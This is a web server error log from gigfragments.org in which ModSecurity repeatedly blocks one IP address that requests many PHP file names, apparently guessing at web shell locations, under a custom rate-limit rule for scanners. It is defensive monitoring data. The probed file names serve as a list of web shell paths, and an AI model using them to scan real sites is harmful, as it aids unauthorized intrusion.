[Sun Apr 19 06:25:43.125784 2026] [:error] [pid 47773:tid 47824] [client 20.215.64.52:52989] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeQE5-iBHdnCJDuPq9BybQAAAEg"]
[Sun Apr 19 06:25:44.654166 2026] [:error] [pid 47773:tid 47817] [client 20.215.64.52:53395] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeQE6OiBHdnCJDuPq9BydwAAAEE"]
[Sun Apr 19 06:25:46.250259 2026] [:error] [pid 15763:tid 15819] [client 20.215.64.52:54585] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeQE6rMXv1Y1THOoxaArTwAAAhc"]
[Sun Apr 19 06:25:47.998002 2026] [:error] [pid 15764:tid 15844] [client 20.215.64.52:53404] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeQE62LL_sqdSHoVp-T0kAAAAlI"]
[Sun Apr 19 06:25:49.233524 2026] [:error] [pid 15693:tid 15698] [client 20.215.64.52:52929] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeQE7cNMD-ccazQlTskaMwAAAUI"]
[Sun Apr 19 06:25:50.582513 2026] [:error] [pid 15760:tid 15783] [client 20.215.64.52:53407] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeQE7vSdD_XHQMJ_ISsfqQAAAc8"]
[Sun Apr 19 06:25:51.635691 2026] [:error] [pid 47773:tid 47826] [client 20.215.64.52:28884] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeQE7-iBHdnCJDuPq9ByjgAAAEo"]
[Sun Apr 19 06:25:53.297937 2026] [:error] [pid 47886:tid 47889] [client 20.215.64.52:53422] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeQE8USe8yiyuPrD7yP6HwAAAME"]
[Sun Apr 19 06:25:55.491092 2026] [:error] [pid 15763:tid 15820] [client 20.215.64.52:21011] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeQE87MXv1Y1THOoxaArUQAAAhg"]
[Sun Apr 19 06:25:59.694683 2026] [:error] [pid 47886:tid 47905] [client 20.215.64.52:54543] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeQE90Se8yiyuPrD7yP6LgAAANE"]
[Sun Apr 19 06:26:02.768980 2026] [:error] [pid 15763:tid 15815] [client 20.215.64.52:52958] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeQE-rMXv1Y1THOoxaArVgAAAhM"]
[Sun Apr 19 06:26:06.978382 2026] [:error] [pid 47775:tid 47843] [client 20.215.64.52:53384] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeQE_rmztjlk9tsmoeyBWgAAAIA"]
[Sun Apr 19 06:26:12.180853 2026] [:error] [pid 47773:tid 47825] [client 20.215.64.52:54532] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeQFBOiBHdnCJDuPq9BymQAAAEk"]
[Sun Apr 19 06:26:13.445214 2026] [:error] [pid 15763:tid 15801] [client 20.215.64.52:54538] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeQFBbMXv1Y1THOoxaArWQAAAgU"]
[Sun Apr 19 06:26:14.609114 2026] [:error] [pid 15765:tid 15863] [client 20.215.64.52:28914] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeQFBvRqinw-W5EwQ76PBAAAAoo"]
[Sun Apr 19 06:26:15.464815 2026] [:error] [pid 15765:tid 15856] [client 20.215.64.52:54531] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeQFB_Rqinw-W5EwQ76PCAAAAoM"]
[Sun Apr 19 06:26:16.352490 2026] [:error] [pid 47772:tid 47801] [client 20.215.64.52:54569] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeQFCIc0L16cb4smAz-2VwAAAAw"]
[Sun Apr 19 06:26:17.641171 2026] [:error] [pid 15764:tid 15839] [client 20.215.64.52:21001] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeQFCWLL_sqdSHoVp-T0owAAAk0"]
[Sun Apr 19 06:26:19.052542 2026] [:error] [pid 15693:tid 15696] [client 20.215.64.52:48866] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeQFC8NMD-ccazQlTskaOAAAAUA"]
[Sun Apr 19 06:26:20.062938 2026] [:error] [pid 47775:tid 47863] [client 20.215.64.52:52972] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeQFDLmztjlk9tsmoeyBYQAAAJQ"]
[Sun Apr 19 06:26:20.736984 2026] [:error] [pid 47772:tid 47806] [client 20.215.64.52:53424] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeQFDIc0L16cb4smAz-2XQAAABE"]
[Sun Apr 19 06:26:21.621221 2026] [:error] [pid 15763:tid 15808] [client 20.215.64.52:54572] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeQFDbMXv1Y1THOoxaArWwAAAgw"]
[Sun Apr 19 06:26:22.636604 2026] [:error] [pid 47886:tid 47912] [client 20.215.64.52:54556] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeQFDkSe8yiyuPrD7yP6NgAAANg"]
[Sun Apr 19 06:26:23.580353 2026] [:error] [pid 15765:tid 15866] [client 20.215.64.52:48849] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/water.php"] [unique_id "aeQFD_Rqinw-W5EwQ76PDQAAAo0"]
[Sun Apr 19 06:26:25.608433 2026] [:error] [pid 15764:tid 15845] [client 20.215.64.52:54541] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/water.php"] [unique_id "aeQFEWLL_sqdSHoVp-T0qwAAAlM"]
[Sun Apr 19 06:26:28.041300 2026] [:error] [pid 15764:tid 15839] [client 20.215.64.52:52946] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/water.php"] [unique_id "aeQFFGLL_sqdSHoVp-T0rQAAAk0"]
[Sun Apr 19 06:26:29.934825 2026] [:error] [pid 47886:tid 47904] [client 20.215.64.52:52292] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/water.php"] [unique_id "aeQFFUSe8yiyuPrD7yP6QQAAANA"]
[Sun Apr 19 06:26:30.727192 2026] [:error] [pid 47772:tid 47805] [client 20.215.64.52:28924] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "aeQFFoc0L16cb4smAz-2aAAAABA"]
[Sun Apr 19 06:26:52.467011 2026] [:error] [pid 15765:tid 15864] [client 20.215.64.52:21016] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeQFLPRqinw-W5EwQ76PLAAAAos"]
[Sun Apr 19 06:26:54.625850 2026] [:error] [pid 47775:tid 47854] [client 20.215.64.52:28866] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeQFLrmztjlk9tsmoeyBcgAAAIs"]
[Sun Apr 19 06:26:56.663945 2026] [:error] [pid 47773:tid 47820] [client 20.215.64.52:54580] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeQFMOiBHdnCJDuPq9By4QAAAEQ"]
[Sun Apr 19 06:26:58.123776 2026] [:error] [pid 47775:tid 47862] [client 20.215.64.52:52942] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeQFMrmztjlk9tsmoeyBegAAAJM"]
[Sun Apr 19 06:26:59.905704 2026] [:error] [pid 47772:tid 47795] [client 20.215.64.52:52329] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeQFM4c0L16cb4smAz-2kgAAAAY"]
[Sun Apr 19 06:27:04.618938 2026] [:error] [pid 47772:tid 47793] [client 20.215.64.52:53400] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeQFOIc0L16cb4smAz-2nQAAAAQ"]
[Sun Apr 19 06:27:07.797645 2026] [:error] [pid 15765:tid 15873] [client 20.215.64.52:53396] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeQFO_Rqinw-W5EwQ76PMgAAApQ"]
[Sun Apr 19 06:27:15.668917 2026] [:error] [pid 47772:tid 47802] [client 20.215.64.52:52948] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeQFQ4c0L16cb4smAz-2rQAAAA0"]
[Sun Apr 19 06:27:17.900745 2026] [:error] [pid 15765:tid 15866] [client 20.215.64.52:53423] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeQFRfRqinw-W5EwQ76POwAAAo0"]
[Sun Apr 19 06:27:20.806323 2026] [:error] [pid 47775:tid 47853] [client 20.215.64.52:53392] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeQFSLmztjlk9tsmoeyBnQAAAIo"]
[Sun Apr 19 06:27:24.200929 2026] [:error] [pid 47775:tid 47859] [client 20.215.64.52:48867] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeQFTLmztjlk9tsmoeyBoQAAAJA"]
[Sun Apr 19 06:27:26.792529 2026] [:error] [pid 47773:tid 47816] [client 20.215.64.52:53377] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeQFTuiBHdnCJDuPq9BzEQAAAEA"]
[Sun Apr 19 06:27:30.421261 2026] [:error] [pid 47773:tid 47833] [client 20.215.64.52:54535] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeQFUuiBHdnCJDuPq9BzHgAAAFE"]
[Sun Apr 19 06:27:33.373174 2026] [:error] [pid 47886:tid 47904] [client 20.215.64.52:21017] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeQFVUSe8yiyuPrD7yP6aQAAANA"]
[Sun Apr 19 06:27:34.151576 2026] [:error] [pid 15694:tid 15738] [client 20.215.64.52:21010] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeQFVrimB-jol1fwqArAhgAAAYw"]
[Sun Apr 19 06:27:35.406131 2026] [:error] [pid 15765:tid 15866] [client 20.215.64.52:53397] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeQFV_Rqinw-W5EwQ76PRgAAAo0"]
[Sun Apr 19 06:27:36.987960 2026] [:error] [pid 47773:tid 47839] [client 20.215.64.52:53389] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeQFWOiBHdnCJDuPq9BzKQAAAFc"]
[Sun Apr 19 06:27:40.265106 2026] [:error] [pid 47886:tid 47906] [client 20.215.64.52:21052] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeQFXESe8yiyuPrD7yP6bgAAANI"]
[Sun Apr 19 06:27:42.805028 2026] [:error] [pid 15765:tid 15861] [client 20.215.64.52:48842] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeQFXvRqinw-W5EwQ76PSgAAAog"]
[Sun Apr 19 06:27:45.118033 2026] [:error] [pid 15694:tid 15746] [client 20.215.64.52:48861] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeQFYbimB-jol1fwqArAiwAAAZQ"]
[Sun Apr 19 06:28:10.203108 2026] [:error] [pid 47775:tid 47853] [client 20.215.64.52:48874] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeQFermztjlk9tsmoeyBwwAAAIo"]
[Sun Apr 19 06:28:12.277585 2026] [:error] [pid 15760:tid 15788] [client 20.215.64.52:21032] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeQFfPSdD_XHQMJ_ISsf4gAAAdQ"]
[Sun Apr 19 06:28:15.174103 2026] [:error] [pid 15765:tid 15865] [client 20.215.64.52:55871] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeQFf_Rqinw-W5EwQ76PWwAAAow"]
[Sun Apr 19 06:28:17.583099 2026] [:error] [pid 15764:tid 15834] [client 20.215.64.52:21019] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeQFgWLL_sqdSHoVp-T02wAAAkg"]
[Sun Apr 19 06:28:21.647087 2026] [:error] [pid 47773:tid 47827] [client 20.215.64.52:28882] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeQFheiBHdnCJDuPq9BzcAAAAEs"]
[Sun Apr 19 06:28:24.984756 2026] [:error] [pid 15763:tid 15809] [client 20.215.64.52:28926] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeQFiLMXv1Y1THOoxaArgwAAAg0"]
[Sun Apr 19 06:28:27.149076 2026] [:error] [pid 47886:tid 47892] [client 20.215.64.52:54544] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeQFi0Se8yiyuPrD7yP6ggAAAMQ"]
[Sun Apr 19 06:28:28.383929 2026] [:error] [pid 47773:tid 47833] [client 20.215.64.52:53438] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeQFjOiBHdnCJDuPq9BzfwAAAFE"]
[Sun Apr 19 06:28:30.036011 2026] [:error] [pid 47886:tid 47896] [client 20.215.64.52:52947] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeQFjkSe8yiyuPrD7yP6kgAAAMg"]
